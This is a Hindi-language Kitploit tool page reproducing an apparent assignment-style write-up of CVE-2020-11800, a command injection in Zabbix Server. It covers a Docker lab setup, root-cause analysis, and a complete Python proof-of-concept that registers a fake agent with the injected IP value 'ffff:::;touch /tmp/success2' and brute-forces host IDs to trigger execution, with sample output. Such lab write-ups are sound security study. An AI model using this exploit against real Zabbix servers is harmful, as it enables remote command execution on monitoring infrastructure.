Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/ycseo-git/cve-2020-11800
भेद्यता विश्लेषणशोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलपेलोड डेवलपमेंट
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

CVE-2020-11800 के लिए PoC एक्सप्लॉइट — दुर्भावनापूर्ण एजेंट ऑटो-रजिस्ट्रेशन के माध्यम से Zabbix Server में कमांड इंजेक्शन, जिसमें Python-आधारित पेलोड डिलीवरी और होस्ट ID ब्रूट-फोर्सिंग शामिल है।

रिपॉजिटरी देखें
23 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

असाइनमेंट दिशानिर्देशों द्वारा आवश्यक अनुभागों को “(आवश्यक)” से चिह्नित किया गया है।

1. पर्यावरण (आवश्यक)

Dockerfile (आवश्यक)

यह पर्यावरण Vulhub द्वारा प्रदान की गई कमजोर Zabbix Server इमेज पर आधारित एक कस्टम Dockerfile का उपयोग करता है।

root@kitploit:~
FROM vulhub/zabbix:3.0.3-server

Dockerfile कमजोर Zabbix 3.0.3 सर्वर पर्यावरण का उपयोग करके एक स्थानीय इमेज बनाता है। निर्माण प्रक्रिया के दौरान कोई अतिरिक्त पैकेज या कॉन्फ़िगरेशन नहीं जोड़ा गया।


docker-compose.yml (आवश्यक)

कमजोर पर्यावरण को Docker Compose का उपयोग करके कॉन्फ़िगर किया गया है।

पर्यावरण में चार सेवाएँ शामिल हैं:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web Interface
  • MySQL Database

server सेवा को Dockerfile का उपयोग करके स्थानीय रूप से बनाया गया है:

root@kitploit:~
server:
  build: .
  image: cve-2020-11800-server

MySQL कंटेनर वॉल्यूम माउंटिंग का उपयोग करके src/ निर्देशिका से SQL प्रारंभिकरण फ़ाइलों को स्वचालित रूप से आयात करता है:

root@kitploit:~
volumes:
  - ./src/:/docker-entrypoint-initdb.d/

यह कंटेनर शुरू होने पर डेटाबेस स्कीमा और प्रारंभिक Zabbix डेटा को स्वचालित रूप से लोड करने की अनुमति देता है।


सेवा संरचना (आवश्यक)

पर्यावरण निम्नलिखित संरचना का उपयोग करके संचालित होता है:

root@kitploit:~
[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

ब्राउज़र के माध्यम से सुलभ वेब-आधारित प्रबंधन इंटरफ़ेस प्रदान करता है।

व्यवस्थापक इस इंटरफ़ेस के माध्यम से स्वतः-पंजीकरण कॉन्फ़िगर करता है और निगरानी-संबंधी कार्यों को निष्पादित करता है।

Zabbix Server

इसके लिए उत्तरदायी मुख्य घटक:

  • एजेंट प्रबंधन
  • स्क्रिप्ट निष्पादन
  • निगरानी तर्क
  • ईवेंट प्रोसेसिंग

कमांड इंजेक्शन भेद्यता इस कंटेनर के अंदर ट्रिगर होती है।

Zabbix Agent

निगरानी किए गए होस्ट के रूप में कार्य करता है और Zabbix Server के साथ संचार करता है।

एक्सप्लॉइट एजेंट पंजीकरण प्रक्रिया के दौरान स्वतः-पंजीकरण तंत्र का दुरुपयोग करता है।

MySQL

Zabbix कॉन्फ़िगरेशन डेटा, होस्ट जानकारी और निगरानी-संबंधी डेटा संग्रहीत करता है।


इमेज और संस्करण (आवश्यक)

सेवाइमेजसंस्करण
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

यह पर्यावरण Vulhub द्वारा प्रदान किए गए कमजोर Zabbix 3.0.3 पर्यावरण पर आधारित है।

2. मूल कारण (आवश्यक)

भेद्यता विवरण (आवश्यक)

CVE-2020-11800, Zabbix Server Active Proxy Trapper कार्यक्षमता में एक कमांड इंजेक्शन भेद्यता है।

यह भेद्यता इसलिए मौजूद है क्योंकि CVE-2017-2824 के लिए पैच अधूरा था। एक हमलावर IPv6-शैली पेलोड का उपयोग करके मूल पैच को बायपास कर सकता है और Zabbix Server पर मनमाने कमांड निष्पादित कर सकता है।

यह भेद्यता स्वतः-पंजीकरण प्रक्रिया के दौरान ट्रिगर होती है जब सर्वर उपयोगकर्ता-नियंत्रित होस्ट जानकारी संसाधित करता है।


मूल कारण विश्लेषण (आवश्यक)

भेद्यता का मूल कारण शेल कमांड के अंदर उपयोगकर्ता-नियंत्रित इनपुट की असुरक्षित हैंडलिंग है।

स्क्रिप्ट निष्पादन के दौरान, Zabbix Server पंजीकृत होस्ट IP मान का उपयोग करके निम्न जैसे कमांड का निर्माण करता है:

root@kitploit:~
ping <host_ip>

सामान्य परिस्थितियों में:

root@kitploit:~
ping 127.0.0.1

हालाँकि, यदि कोई हमलावर निम्नलिखित पेलोड का उपयोग करके होस्ट पंजीकृत करता है:

root@kitploit:~
ffff:::;touch /tmp/success2

शेल द्वारा निष्पादित अंतिम कमांड बन जाता है:

root@kitploit:~
ping ffff:::;touch /tmp/success2

चूँकि सेमीकोलन (;) शेल कमांड विभाजक के रूप में कार्य करता है, शेल इनपुट को दो अलग-अलग कमांड के रूप में व्याख्या करता है:

root@kitploit:~
ping ffff:::
touch /tmp/success2

परिणामस्वरूप, मनमाना कमांड निष्पादन संभव हो जाता है।

IPv6 का उपयोग करके पैच बायपास

CVE-2017-2824 के लिए मूल पैच ने दुर्भावनापूर्ण इनपुट मानों को प्रतिबंधित करने का प्रयास किया।

हालाँकि, सत्यापन तर्क IPv6-शैली इनपुट को ठीक से संभाल नहीं पाया।

पेलोड:

root@kitploit:~
ffff:::;touch /tmp/success2

मौजूदा सत्यापन तर्क को बायपास करने के लिए एक IPv6-जैसा उपसर्ग (ffff:::) का उपयोग करता है, साथ ही शेल मेटाकैरेक्टर इंजेक्ट करता है।

यह हमलावरों को पिछले पैच को बायपास करने और कमांड इंजेक्शन भेद्यता का शोषण जारी रखने की अनुमति देता है।


भेद्यता ट्रिगर प्रक्रिया (आवश्यक)

शोषण प्रक्रिया निम्नलिखित क्रम में होती है:

root@kitploit:~
Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

हमलावर पहले एक क्राफ्टेड IP फ़ील्ड युक्त दुर्भावनापूर्ण स्वतः-पंजीकरण अनुरोध भेजता है।

होस्ट पंजीकृत होने के बाद, Zabbix Server संग्रहीत होस्ट IP मान का उपयोग करके एक निगरानी स्क्रिप्ट निष्पादित करता है।

इस प्रक्रिया के दौरान, दुर्भावनापूर्ण पेलोड की व्याख्या शेल द्वारा की जाती है, जिससे मनमाना कमांड निष्पादन होता है।


हमला प्रवाह और प्रभाव (आवश्यक)

एक्सप्लॉइट हमलावरों को Zabbix Server प्रक्रिया के विशेषाधिकारों के साथ मनमाने कमांड निष्पादित करने की अनुमति देता है।

इस वातावरण में, सफल शोषण ने सर्वर कंटेनर के अंदर निम्नलिखित फ़ाइल बनाई:

root@kitploit:~
/tmp/success2

यह पुष्टि करता है कि इंजेक्ट किए गए शेल कमांड सफलतापूर्वक निष्पादित किए गए।

वास्तविक वातावरण में, सफल शोषण हमलावरों को अनुमति दे सकता है:

  • मनमाने सिस्टम कमांड निष्पादित करना
  • मैलवेयर डाउनलोड करना और चलाना
  • आंतरिक टोह लेना
  • अन्य सिस्टम पर पिवट करना
  • निगरानी बुनियादी ढांचे से समझौता करना

यह भेद्यता विशेष रूप से खतरनाक है क्योंकि निगरानी सर्वरों को अक्सर कई आंतरिक सिस्टम और बुनियादी ढांचे के घटकों की दृश्यता होती है।

3. PoC (आवश्यक)

PoC अवलोकन (आवश्यक)

प्रूफ ऑफ कॉन्सेप्ट (PoC) को Python में लिखा गया था और यह TCP पोर्ट 10051 के माध्यम से सीधे Zabbix Server के साथ संचार करता है।

PoC निम्नलिखित क्रियाएँ करता है:

  1. एक दुर्भावनापूर्ण स्वतः-पंजीकरण अनुरोध भेजता है
  2. मान्य hostid मानों को ब्रूट-फोर्स करता है
  3. इंजेक्ट किए गए पेलोड का उपयोग करके स्क्रिप्ट निष्पादन ट्रिगर करता है

PoC कोड

root@kitploit:~
import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

पेलोड विश्लेषण (आवश्यक)

इस PoC में उपयोग किया गया पेलोड है:

root@kitploit:~
ffff:::;touch /tmp/success2

पेलोड संरचना

भागउद्देश्य
ffff:::सत्यापन बायपास के लिए उपयोग किया जाने वाला IPv6-जैसा उपसर्ग
;शेल कमांड विभाजक
touch /tmp/success2सर्वर पर निष्पादित मनमाना कमांड

पेलोड इस तथ्य का दुरुपयोग करता है कि सर्वर उपयोगकर्ता-नियंत्रित IP मानों को शेल कमांड में अनुचित रूप से जोड़ता है।

उद्देश्य

  • एक नकली Zabbix एजेंट पंजीकृत करता है
  • सर्वर पर एक दुर्भावनापूर्ण IP मान संग्रहीत करता है
  • लक्ष्य को कमांड इंजेक्शन के लिए तैयार करता है

पेलोड को स्वतः-पंजीकरण प्रक्रिया के दौरान ip फ़ील्ड के माध्यम से भेजा जाता है।


PoC कोड निष्पादन प्रक्रिया (आवश्यक)

स्वतः-पंजीकरण अनुरोध

PoC द्वारा भेजा गया पहला अनुरोध एक दुर्भावनापूर्ण होस्ट पंजीकृत करने का प्रयास करता है।

root@kitploit:~
payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

होस्ट ID ब्रूट फोर्स

पंजीकरण के बाद, PoC एक मान्य hostid खोजने का प्रयास करता है।

root@kitploit:~
for i in range(10000, 10500):

PoC संभावित होस्ट IDs की एक श्रेणी के माध्यम से पुनरावृत्ति करता है और स्क्रिप्ट निष्पादन ट्रिगर करने का प्रयास करता है।

यह चरण आवश्यक है क्योंकि सर्वर पंजीकरण के बाद गतिशील रूप से होस्ट IDs निर्दिष्ट करता है।

स्क्रिप्ट निष्पादन अनुरोध

निम्नलिखित अनुरोध कमांड निष्पादन ट्रिगर करता है:

root@kitploit:~
{
    "request": "command",
    "scriptid": 1,
    "hostid": str(i)
}

पैरामीटर

पैरामीटरविवरण
requestस्क्रिप्ट निष्पादन का अनुरोध करता है
scriptidकॉन्फ़िगर की गई Zabbix स्क्रिप्ट की ID
hostidलक्ष्य होस्ट ID

इस वातावरण में, scriptid:1 एक पिंग-संबंधित स्क्रिप्ट से मेल खाता है जो कमांड निष्पादन के दौरान होस्ट IP मान का उपयोग करती है।

भेद्यता ट्रिगर

Zabbix Server आंतरिक रूप से एक शेल कमांड का निर्माण करता है जो निम्न जैसा दिखता है:

root@kitploit:~
ping ffff:::;touch /tmp/success2

शेल इसे निम्न रूप में व्याख्या करता है:

root@kitploit:~
ping ffff:::
touch /tmp/success2

परिणामस्वरूप:

  • अमान्य IPv6 पते के कारण पिंग कमांड विफल हो जाता है
  • इंजेक्ट किया गया touch कमांड सफलतापूर्वक निष्पादित हो जाता है

अपेक्षित आउटपुट

सफल शोषण के दौरान, निम्नलिखित आउटपुट दिखाई दे सकता है:

root@kitploit:~
ping: bad address 'ffff:::'

यह इंगित करता है कि पेलोड शेल कमांड निष्पादन चरण तक पहुँच गया।

सफल शोषण की पुष्टि तब होती है जब सर्वर कंटेनर के अंदर निम्नलिखित फ़ाइल मौजूद होती है:

root@kitploit:~
/tmp/success2

4. पुनरुत्पादन (आवश्यक)

PoC और एक्सप्लॉइट निष्पादन प्रक्रिया (आवश्यक)

संपूर्ण एक्सप्लॉइट प्रवाह नीचे सारांशित किया गया है:

root@kitploit:~
Start Docker Environment
        ↓
Access Zabbix Web Interface
        ↓
Enable Auto Registration
        ↓
Run exploit.py
        ↓
Register Malicious Host
        ↓
Trigger Script Execution
        ↓
Command Injection
        ↓
Verify /tmp/success2

वास्तविक एक्सप्लॉइट निष्पादन चरण (आवश्यक)

पर्यावरण सेटअप

Docker Compose का उपयोग करके कमजोर पर्यावरण प्रारंभ करें।

root@kitploit:~
docker compose up -d

जाँचें कि क्या सभी कंटेनर सही ढंग से चल रहे हैं।

root@kitploit:~
docker compose ps

पर्यावरण में निम्नलिखित कंटेनर शामिल होने चाहिए:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web
  • MySQL

वेब इंटरफ़ेस तक पहुँचना

ब्राउज़र खोलें और Zabbix वेब इंटरफ़ेस तक पहुँचें।

root@kitploit:~
http://127.0.0.1:8080

डिफ़ॉल्ट क्रेडेंशियल:

root@kitploit:~
Username: admin
Password: zabbix

स्वतः पंजीकरण सक्षम करना

एक्सप्लॉइट के लिए स्वतः-पंजीकरण सुविधा सक्षम होना आवश्यक है।

यहाँ नेविगेट करें:

root@kitploit:~
Configuration → Actions

इवेंट स्रोत को बदलें:

root@kitploit:~
Auto registration

एक नया Action बनाएँ और निम्नलिखित ऑपरेशन कॉन्फ़िगर करें:

root@kitploit:~
Operation Type: Add Host

यह नए पंजीकृत एजेंटों को स्वचालित रूप से सर्वर में जोड़ने की अनुमति देता है।

एक्सप्लॉइट चलाना

PoC स्क्रिप्ट निष्पादित करें।

root@kitploit:~
python3 exploit.py 127.0.0.1

PoC एक दुर्भावनापूर्ण स्वतः-पंजीकरण अनुरोध भेजता है और कई होस्ट IDs का उपयोग करके कमांड निष्पादन ट्रिगर करने का प्रयास करता है।


परिणाम विश्लेषण (आवश्यक)

उदाहरण आउटपुट

सफल शोषण के दौरान, निम्नलिखित जैसा आउटपुट दिखाई दे सकता है:

root@kitploit:~
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}

यह इंगित करता है कि पेलोड कमजोर शेल कमांड निष्पादन पथ तक पहुँच गया।

कमांड निष्पादन की पुष्टि करना

Zabbix Server कंटेनर तक पहुँचें।

root@kitploit:~
docker exec -it cve-2020-11800-server-1 bash

सत्यापित करें कि इंजेक्ट किया गया कमांड लक्ष्य फ़ाइल बनाया या नहीं।

root@kitploit:~
ls -l /tmp/success2

सफल शोषण निम्नलिखित जैसा आउटपुट उत्पन्न करता है:

root@kitploit:~
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2

यह पुष्टि करता है कि Zabbix Server कंटेनर के अंदर मनमाने कमांड सफलतापूर्वक निष्पादित किए गए।


स्क्रीनशॉट (आवश्यक)

निम्नलिखित स्क्रीनशॉट screenshots/ निर्देशिका में शामिल किए गए थे:

स्वतः पंजीकरण

PoC निष्पादन परिणाम

टूल डाउनलोड करें